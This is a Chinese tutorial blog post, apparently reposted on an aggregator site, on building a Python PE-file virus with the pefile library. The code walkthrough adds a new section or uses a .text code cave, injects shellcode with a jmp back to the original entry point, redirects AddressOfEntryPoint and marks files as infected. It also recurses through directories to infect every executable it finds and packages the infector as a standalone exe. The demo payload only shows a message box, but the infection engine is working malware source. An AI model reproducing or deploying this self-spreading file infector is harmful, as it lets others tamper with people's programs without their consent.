PE文件感染程序设计(PE病毒)

这篇具有很好参考价值的文章主要介绍了PE文件感染程序设计(PE病毒)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

PE文件感染程序设计

本文主要是记录一次PE病毒设计入门实验,查看了很多帖子,总也找不到系统的指导。也是出于记录一次具体的实验流程,给后来摸索的但是没有思路的朋友们一点点思路。

1. 设计思路

  1. 遍历当前目录,将所有的可执行文件列出来
  2. 对这些可执行文件逐个判断是否被感染过,如果感染过,则跳过该文件
  3. 如果未感染,则进行感染,然后循环到2,直到遍历结束
    要想感染一个Windows下的可执行文件,首先得搞懂PE文件的格式。

2. PE文件结构

PE即Portable Executable,是win32环境自身所带的执行体文件格式,其部分特性继承自Unix的COFF(Common Object File Format)文件格式。PE表示该文件格式是跨win32平台的,即使Windows运行在非Intel的CPU上,任何Win32平台的PE装载器也能识别和使用该文件格式的文件。
所有Win32执行体(除了VxD和16位的DLL)都使用PE文件格式,如EXE文件、DLL文件等,包括NT的内核模式驱动程序(Kernel Mode Driver)。
PE文件感染程序设计(PE病毒)

上图给出了PE文件结构的示意图。
PE文件至少包含两个段,即数据段和代码段。Windows NT 的应用程序有9个预定义的段,分别为 .text 、.bss 、.rdata 、.data 、.pdata 和.debug 段,这些段并不是都是必须的,当然,也可以根据需要定义更多的段(比如一些加壳程序)。
在应用程序中最常出现的段有以下6种:
.执行代码段,通常 .text (Microsoft)或 CODE(Borland)命名;
.数据段,通常以 .data 、.rdata 或 .bss(Microsoft)、DATA(Borland)命名;
.资源段,通常以 .rsrc命名;
.导出表,通常以 .edata命名;
.导入表,通常以 .idata命名;
.调试信息段,通常以 .debug命名;
PE文件的结构在磁盘和内存中是基本一样的,但在装入内存中时又不是完全复制。Windows装载器在装载的时候仅仅建立好虚拟地址和PE文件之间的映射关系,只有真正执行到某个内存页中的指令或访问某一页中的数据时,这个页才会被从磁盘提交到物理内存。但因为装载可执行文件时,有些数据在装入前会被预先处理(如需要重定位的代码),装入以后,数据之间的相对位置也可能发生改变。因此,一个节的偏移和大小在装入内存前后可能是完全不同的。
PE文件感染程序设计(PE病毒)
上图中,左边代表在磁盘中PE文件各个部分的对齐方式(对齐基准大小为0x200),右边是在内存中PE文件各个部分的对齐方式(对齐基准大小为0x1000),这个基准可以在PE文件的OPTION_HEADER中找到,如下图:
PE文件感染程序设计(PE病毒)

1 IMAGE_DOS_HEADER和Dos Stub

其实IMAGE_DOS_HEADER和Dos Stub没有什么重要的,只是IMAGE_DOS_HEADER中的第十九个成员指向IMAGE_NT_HEADERS的位置。
所有PE文件(包括DLL)均必须以一个简单的DOS MZ header开始,在偏移0处有可执行文件的“MZ”标志,确保该程序能够在DOS下运行。

2 PE头

PE header是相关结构IMAGE_NT_HEADER的简称,其中包含了许多PE装载器用到的域。
PE文件感染程序设计(PE病毒)

3 节

PE真正的内容划分为块,称作节(section)。如上图中IMAGE_NT_HEADER下面就是节表和节。
我们感染可执行文件,注入恶意代码就是对文件的节和节表进行操作。注意这是关键。
详细的PE文件结构参考https://www.cnblogs.com/bokernb/articles/6116512.html 这里不做赘述。

3. 实验步骤

3.1 实验环境及用到的软件

该程序使用Python语言编写,我用的编译器是VSCode。
会用到pefile库,详细见https://pefile.readthedocs.io/en/latest/modules/pefile.html
PE格式及内容查看:PEView / CFF explorer

3.2 程序设计思路

首先建立一个新的节表,并将节表的相关值写入,即下图红框的内容。(这些内容需要结合shellcode长度和文件的对齐方式进行计算得到。具体实现看3.3.3)
PE文件感染程序设计(PE病毒)
写完新增的节表后将shellcode写入新增的节(节表对应的节)中
修改入口点,使得新的EntryPoint指向我写入的shellcode处,并且shellcode的最后一条指令是跳转指令,在shellcode执行完毕后跳转至原EntryPoint继续执行,达到不改变原文件功能的目的。

3.3 代码实现

3.3.1 新增节法

3.3.1.1 首先使用peflie.PE()方法将文件内容读到变量中:

如果不是可执行文件,就退出

pe = pefile.PE(file_path)
if not pe.is_exe():
    print('[*] The file is not a standard executable!!')
    exit(1)

使用pefile.dump_dict()方法将目标可执行文件的PE结构放入字典中,方便后续查看读取和修改。

#获取PE头结构字典
sectionDict = pe.dump_dict()
# 原始入口点
oldAEP = sectionDict['OPTIONAL_HEADER']['AddressOfEntryPoint']['Value']

不清楚sectionDict内容的可以使用.keys()的方法先查看其所有的key,再取其value。

3.3.1.2 写入已感染标志

将已感染的特征写入目标文件的某个特定位置,使得我们知道他被感染过,就排除了重复感染的可能。
我的策略是在目标文件的第一个节(.text)的最后0x10字节中写入原程序入口点和感染标志。
写入原程序入口点是为了后期方便解毒。

# 写入感染标志
#获取第一个节的Pointer to Raw Data和Size of Raw Data
first_section_offset = sectionDict['PE Sections'][0]['PointerToRawData']['Value']
first_section_size_of_raw_data = sectionDict['PE Sections'][0]['SizeOfRawData']['Value']
if(isInjected(pe, first_section_offset + first_section_size_of_raw_data, INJECT_FLAG)):
    print('[Warning] The %s was injected already!' % file_path)
    return False
#未感染则进行感染。首先加入感染标志
insertPeInjectFlag(pe,first_section_offset + first_section_size_of_raw_data,oldAEP, INJECT_FLAG)

获取第一个节的Pointer to Raw Data和Size of Raw Data,即得到了第一个节的起始文件偏移和节的大小。
所以我们写入原程序入口点和感染标志的起始偏移就是(Pointer to Raw Data)+(Size of Raw Data)- (0x10).
结果如下图:
PE文件感染程序设计(PE病毒)

3.3.1.3 新增节表并写入相关内容

实际上就是获取到目标文件的最后一个节表的起始偏移和大小,两者相加就是新节的起始偏移。
如果当前最后一个节表后还有大于0x28(一个节表的大小)大小的空间,就可以写入。
每一个标志位内容详情见注释。

# 增加节表
# -----------------------------------------------------------
# 获取当前最后一个节表的偏移
last_section_header_offset = sectionDict['PE Sections'][num_of_sections-1]['Name']['FileOffset']
# 新节表的偏移(加上0x28H)
new_section_header_offset = last_section_header_offset + SECTION_HEADER_SIZE#新节头的初始位置
print('[*] new_section_header_offset:',hex(new_section_header_offset))

# 逐字节填充新节表28个字节
offset = new_section_header_offset
#8字节"Name",自己起  --8
pe.set_qword_at_offset(offset,new_section_name)#name

#4 Virtual Size shellcode的总长度  --12
offset += 8
pe.set_dword_at_offset(offset,Virtual_size)

#上一个节的Virtual_size和rva,方便计算下一个节的rva
former__Virtual_size = sectionDict['PE Sections'][num_of_sections-1]['Misc_VirtualSize']['Value']
former_rva = sectionDict['PE Sections'][num_of_sections-1]['VirtualAddress']['Value']
rva = (int(former__Virtual_size / 0x1000) + 1)*0x1000 + former_rva
#4 RVA 相对虚拟地址,也是新入口点的位置,程序改为由此处开始执行 --16
offset += 4
pe.set_dword_at_offset(offset, rva)

size_of_raw_data = (int(former__Virtual_size / 0x200) + 1)*0x200
#4 节的大小 以0x200对齐,0x200的倍数 --20
offset += 4
pe.set_dword_at_offset(offset, size_of_raw_data)

#0x7600
point_to_raw_data = (int(former__Virtual_size / 0x200) + 1)*0x200 + former_point_to_raw_data
#4 节的偏移 上一个节的偏移加上上一个节的大小  --24
offset += 4
pe.set_dword_at_offset(offset, point_to_raw_data)

#4 Pointer to Relocations 置0  --28
offset += 4
pe.set_dword_at_offset(offset, 0)

#4 Pointer to Line Numbers 置0  --32
offset += 4
pe.set_dword_at_offset(offset, 0)

#2 Number of Relocations 置0 --34
offset += 2
pe.set_word_at_offset(offset, 0)

#2 Number of Line Numbers 置0 --36
offset += 2
pe.set_word_at_offset(offset, 0)

#4 特征,0x60000020代表可执行、可读和节中包含代码
offset += 4              # --40
pe.set_dword_at_offset(offset, 0x60000020)

# -----------------------------------------------------------

特征,Characteristics表示文件属性,它的每一个bit都代表了某种含义。

 Bit 0 :置1表示文件中没有重定向信息。每个段都有它们自己的重定向信息。
         这个标志在可执行文件中没有使用,在可执行文件中是用一个叫做基址重定向目录表来表示重定向信息的,这将在下面介绍。
 Bit 1 :置1表示该文件是可执行文件(也就是说不是一个目标文件或库文件)。
 Bit 2 :置1表示没有行数信息;在可执行文件中没有使用。
 Bit 3 :置1表示没有局部符号信息;在可执行文件中没有使用。
 Bit 4 --Bit 7。。。 
 Bit 8 :表示希望机器为32位机。这个值永远为1。
 Bit 9 :表示没有调试信息,在可执行文件中没有使用。
 Bit 10:置1表示该程序不能运行于可移动介质中(如软驱或CD-ROM)。在这    种情况下,OS必须把文件拷贝到交换文件中执行。
 Bit 11:置1表示程序不能在网上运行。在这种情况下,OS必须把文件拷贝到交换文件中执行。
 Bit 12:置1表示文件是一个系统文件例如驱动程序。在可执行文件中没有使用。
 Bit 13:置1表示文件是一个动态链接库(DLL)。
 Bit 14:表示文件被设计成不能运行于多处理器系统中。
 Bit 15:表示文件的字节顺序如果不是机器所期望的,那么在读出之前要进行交换。在可执行文件中它们是不可信的(操作系统期望按正确的字节顺序执行程序)。

3.3.1.4 向新节中写入shellcode

因为我们不知道目标文件最后一个节最后是否为空,所以需要先判断。
如果为空,直接在后面添加内容
如果不为空,则覆盖后面的内容

# 写入shellcode
#判断最后一个节后是否有空白位置
if(pe.get_dword_from_offset(point_to_raw_data) == None):
    pe.__data__ = pe.__data__ + shellcode + jmp_code + bytes(rest_0)
else:
    pe.set_bytes_at_offset(point_to_raw_data, shellcode + jmp_code + bytes(rest_0))

为什么要是用两种方式写入呢?经过我的实践发现:最后一个节没后有空白位置,我们使用set_bytes_at_offset()函数是无法写入的,此时只能用在最后添加的方式写入。
还有一个问题,就是shellcode最后一条指令是跳转指令,而这个跳转指令跟新的入口点有关,即:
Jmp 后的跳转地址 = 目的地址 - 当前地址 - 5
举个例子。
目的地址(原入口点) = 0x12D0
当前地址 = 新节起始偏移(新入口点) + len(shellcode) = 0x12000 + 0xE8
所以Jmp 后的跳转地址为:
PE文件感染程序设计(PE病毒)
在PEView中查看:
PE文件感染程序设计(PE病毒)
前面的E9就是jmp指令的十六进制表示形式。
当然啦,还有一个问题就是,计算得到的跳转地址如何转化为一个字接一个字节的形式?因为这样更容易写入文件中。
一是可以使用set_dword_at_offset()直接在E9后的偏移处写入这个十六进制数;二是将该十六进制数拆生成四个字节表示的形式,转化为byte(字节型)后,利用set_bytes_at_offset()和shellcode一起写入。
将该十六进制数拆生成四个字节表示的形式,转化为byte可参考以下方法:
我相信这很容易看懂。

distance = oldAEP - rva - Virtual_size
bytea = []
bytea.append((distance & 0x000000ff))
bytea.append((distance & 0x0000ff00) >> 8)
bytea.append((distance & 0x00ff0000) >> 16)
bytea.append((distance & 0xff000000) >> 24)
jmp_code = b"\xE9" + bytearray(bytea)

还有方法是利用struct中的pack()方法。

3.3.1.5 修改入口点、节数+1、修改SizeOfImage和SizeOfCode
#修改入口点
entry_point_offset = sectionDict['OPTIONAL_HEADER']['AddressOfEntryPoint']['FileOffset']
print('[*] new_entrypoint:',hex(rva))
pe.set_dword_at_offset(entry_point_offset, rva)
#节数加一
pe.set_word_at_offset(sectionDict['FILE_HEADER']['NumberOfSections']['FileOffset'],pe.FILE_HEADER.NumberOfSections + 1)
#SizeOfImage
pe.set_dword_at_offset(sectionDict['OPTIONAL_HEADER']['SizeOfImage']['FileOffset'], sectionDict['OPTIONAL_HEADER']['SizeOfImage']['Value'] + (int(shellcode_length / 0x200) + 1)*0x1000)
#SizeOfCode
pe.set_dword_at_offset(sectionDict['OPTIONAL_HEADER']['SizeOfCode']['FileOffset'], sectionDict['OPTIONAL_HEADER']['SizeOfCode']['Value'] + (int(shellcode_length / 0x200) + 1)*0x200)

3.3.1.6 写回输出文件

这里不用pe.write()方法

# 写回输出文件
f = open(outputFile,'wb')
f.write(pe.__data__)
f.close()

3.3.2 空间不足无法使用新增节法

以上是在存在足够空间时新增节表的方法,我们还会遇到没有足够空间使用新增节表法,这时候就可以选择第二种策略——将恶意代码写入.text节后的空余位置(如果位置足够的话)。
同新增节法类似,先找到可以写的位置。我找的是.text节后的空余位置。
这里有:

start_offset = first_section_Misc_VirtualSize + first_section_offset#
new_entry_point = first_section_Misc_VirtualSize + first_section_table_rva

PE文件感染程序设计(PE病毒)
start_offset 就是恶意代码将要写入的起始偏移(text节的起始偏移+节已使用长度),new_entry_point 是新的入口点,即程序先从这里开始执行,再跳转到原入口点执行,不改变原有功能。
具体感染完的效果如下图:
在这里插入图片描述
上图中,绿色框中是写入的恶意代码,黄框中为jmp指令,蓝色框为写入的原入口点和感染标志位。

3.4 解毒程序

解毒简单粗暴,将入口点改回原入口点即可。
将text节中写入的原入口点读出,覆盖掉OPTIONAL_HEADER中的[‘AddressOfEntryPoint’]。

3.5 目录遍历感染

解决了如何感染单个可执行文件,进行当前目录的感染就很简单了。

3.5.1 当前目录下的文件(不包含子目录)

python提供的glob库可以实现,glob是python自己带的一个文件操作相关模块,用它可以查找符合自己目的的文件,类似于Windows下的文件搜索,支持通配符操作,*,?,[]这三个通配符,代表0个或多个字符,?代表一个字符,[]匹配指定范围内的字符,如[0-9]匹配数字。
glob模块的主要方法就是glob,该方法返回所有匹配的文件路径列表(list);该方法需要一个参数用来指定匹配的路径字符串(字符串可以为绝对路径也可以为相对路径),其返回的文件名只包括当前目录里的文件名,不包括子文件夹里的文件。

exec_files = glob.glob('*.exe')#当前目录下的所有exe文件
for file in exec_files:
    # print((file))
    peInject.peInject(file, new_section_name, shellcode)

但是需要注意的是,这里是以文件后缀的方式来识别可执行文件,存在漏洞。
我们知道,一个文件的本质上是什么类型的文件取决于它的文件结构,而不是后缀。所以本质上判断一个文件是否是可执行文件,还需要从文件的结构下手,不能简单地依据后缀来判断。
如图我将optput.exe后缀改为.jpg,使用PEView打开依旧还是可执行文件。
PE文件感染程序设计(PE病毒)
我们使用pe下的is_exe()来判断:

file_path = r"output.jpg"
pe = pefile.PE(file_path)
print(pe.is_exe())
#返回值为True

方法可行,所以要对这种扫描方式进行改进。
具体策略是遍历当前目录下的所有文件(文件夹先不处理),使用pe.is_exe()进行判断,是可执行文件的进行感染并加上.exe的后缀,让Windows“认识”其为可执行文件。
但是又遇到了新问题,如何区分是文件还是文件夹?扫描到目录和非可执行文件时,pefile.PE(file_path)会报错。
解决以上问题,就要换另一个库,os库下的path;pefile.PE(file_path)报错问题使用try-except语句。

def getExecFile(dirPath):
    if dirPath[-1] == '/':
        print(u'文件夹路径末尾不能加/')
        return
    allExecFiles = []
    if os.path.isdir(dirPath):
        fileList = os.listdir(dirPath)
        for f in fileList:
            if not os.path.isdir(f):#不是文件夹
                # print(f)
                try:#如果不能用PE()方法打开,即不是可执行文件
                    pe = pefile.PE(f)
                    if((pefile.PE(f)).is_exe()):
                        allExecFiles.append(f)
                except:continue
    return allExecFiles

print(getExecFile('.'))

扫描指定目录,得到所有的文件及文件夹,剔除非文件,并返回所有的可执行文件。

3.5.2 当前目录下的文件递归感染(包含子文件夹)

在3.5.1的程序基础上改造一个递归程序即可,实现起来很容易。

def getExecFile(dirPath, rec_infect):
    if dirPath[-1] == '/':
        print(u'文件夹路径末尾不能加/')
        return []
    allExecFiles = []
    # print(dirPath,rec_infect)
    if(rec_infect):#递归感染
        if os.path.isdir(dirPath):
            fileList = os.listdir(dirPath)
            for f in fileList:
                f = dirPath + '/' + f
                if not os.path.isdir(f):
                    try:
                        if((pefile.PE(f)).is_exe()):
                            # print(f)
                            allExecFiles.append(f)
                    except:continue
                else:
                    # 递归返回的子目录文件也要加进来
                    allExecFiles += getExecFile(f, rec_infect)

3.6 运行结果

PE文件感染程序设计(PE病毒)
PE文件感染程序设计(PE病毒)
原文件运行功能:
PE文件感染程序设计(PE病毒)
感染后:先弹框,然后才是原来的功能
PE文件感染程序设计(PE病毒)

4. 编译成exe文件

这里利用pyinstaller实现打包python脚本为exe可执行文件。
首先安装pywin32、pyinstaller,然后按照如下命令:
pyinstaller -F -i 1.ico PEINJECTION.py
其中1.ico是图标, PEINJECTION.py是需要打包的python脚本。
PE文件感染程序设计(PE病毒)
打包完如下:
在dist文件夹下:(我改了名字/偷笑)
PE文件感染程序设计(PE病毒)
运行结果如下:argv[1]:感染路径 argv[2]:是否循环感染1是0否
PE文件感染程序设计(PE病毒)
如果想要实现点击直接运行,直接在代码中设置运行当前目录为参数1,默认递归感染。
./1目录如下:

PE文件感染程序设计(PE病毒)
./1/2目录如下:
PE文件感染程序设计(PE病毒)

5. 程序架构

PE文件感染程序设计(PE病毒)

6. 引用

  1. https://pefile.readthedocs.io/en/latest/modules/pefile.html
  2. https://www.cnblogs.com/bokernb/articles/6116512.html
  3. https://blog.csdn.net/daoyikong_x18/article/details/19398811

敬请指正,源码数据需要的私信。_文章来源地址https://www.toymoban.com/news/detail-469683.html

到了这里,关于PE文件感染程序设计(PE病毒)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 服务器感染了.halo勒索病毒,如何确保数据文件完整恢复?

    尊敬的读者: 在数字时代,勒索病毒成为网络安全威胁中的一个严重问题,其中.halo勒索病毒作为新兴威胁,对用户和组织的数据安全构成了巨大的威胁。本文将深入介绍.halo勒索病毒的特征、工作原理,并提供有效的方法来应对和恢复被其加密的数据文件。同时,我们将探

    2024年01月24日
    浏览(42)
  • 服务器感染了.locked勒索病毒,如何确保数据文件完整恢复?

    引言: 网络安全威胁的不断演变使得恶意软件如.locked勒索病毒成为当今数字时代的一大挑战。.locked勒索病毒能够加密您的文件,然后要求支付赎金以解锁它们。本文将深入探讨.locked勒索病毒的特点,以及如何应对感染,以及预防这种类型的威胁的方法。数据的重要性不容小

    2024年02月06日
    浏览(50)
  • 服务器感染了MyFile@waifu.club.mkp勒索病毒,如何确保数据文件完整恢复?

    引言: 在今天的数字化时代,网络犯罪已成为一个极具威胁性的问题,而勒索病毒正是这一问题中的一大威胁。本文91数据恢复将深入介绍 MyFile@waifu.club.mkp 勒索病毒的威胁,详细探讨如何高效地恢复被其加密的数据文件,并提供关键的预防措施,以帮助您在遭受此类攻击时

    2024年02月10日
    浏览(45)
  • 服务器感染了[steloj@mailfence.com].steloj勒索病毒,如何确保数据文件完整恢复?

    引言: 在数字时代,[steloj@mailfence.com].steloj勒索病毒如影随形,成为网络安全领域的一大挑战。本文将深入介绍[steloj@mailfence.com].steloj病毒的特征、威胁和解决方案,帮助您更好地理解、预防并应对这一数字威胁。如果您正在经历数据恢复的困境,我们愿意与您分享我们的专

    2024年01月15日
    浏览(52)
  • 服务器感染了.DevicData-P-XXXXXXXX勒索病毒,如何确保数据文件完整恢复?

    引言: 在当今数字化时代,勒索病毒已成为网络安全威胁的一个严峻问题。其中,.DevicData-P-XXXXXXXX 勒索病毒以其恶意加密文件的手段引起了广泛关注。本文将介绍该病毒的特点、数据恢复方法以及如何预防遭受其攻击。 如不幸感染这个勒索病毒,您可添加我们的技术服务号

    2024年01月17日
    浏览(38)
  • win10/win11一直弹出不支持的16位应用程序(病毒感染)

    原始故障:偶然有一天,某些开发软件如adb报16位应用程序错误。        1.如点击adb.exe,正常是一闪而过,而感染情况是弹出16位错误,并连续好几次,同时cpu被生成的临时xx.exe占用40%,任务管理器结束该exe结束弹窗。         2.然后重装adb.exe(重稍微正规的网站下载),这时

    2024年02月15日
    浏览(51)
  • 服务器感染了.wis[[Rast@airmail.cc]].wis勒索病毒,如何确保数据文件完整恢复?

    导言: 在当今数字化的时代,恶意软件攻击已经变得越来越复杂和狡猾,[[MyFile@waifu.club]].wis [[backup@waifu.club]].wis[[Rast@airmail.cc]].wis勒索病毒是其中的一种新威胁。本文91数据恢复将深入介绍[[MyFile@waifu.club]].wis [[backup@waifu.club]].wis[[Rast@airmail.cc]].wis勒索病毒的特点、工作原理,并

    2024年01月23日
    浏览(44)
  • Linux程序设计:文件操作

    系统调用 write read 重定向,输入重定向,管道功能 open close lseek ❑ SEEK_SET: offset is an absolute position ❑ SEEK_CUR: offset is relative to the current position ❑ SEEK_END: offset is relative to the end of the file fstat, stat, and lstat dup fopen (库函数) ❑ “r” or “rb”: Open for reading only ❑ “w” or “wb”

    2024年02月05日
    浏览(36)
  • 面向对象程序设计 之 文件输入输出流

    石 家 庄 铁 道 大 学 实 验 报 告 课程名称 面向对象程序设计 班级   姓名   学号   实验日期 2023.5.16 评分 100   实验项目名称:输入输出流 一、实验目的 掌握文本文件和二进制文件的基本访问方法; 了解一般I/O流和文件流的关系;了解文件与文件流的关系; 了解文件系统

    2024年02月05日
    浏览(48)
  • 【高级语言程序设计(一)】第 10 章:文件

    目录 一、文件概述 (1)文件定义 (2)文件命名 (3)文件分类 ① 按照文件的内容划分 ② 按照文件的组织形式划分 ③ 按照文件的存储形式划分 ④ 按照文件的存储介质划分 (4)文件存取方式 (5)文件系统  二、文件的打开和关闭函数 (1)文件打开函数 ①  库函数

    2024年02月08日
    浏览(41)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包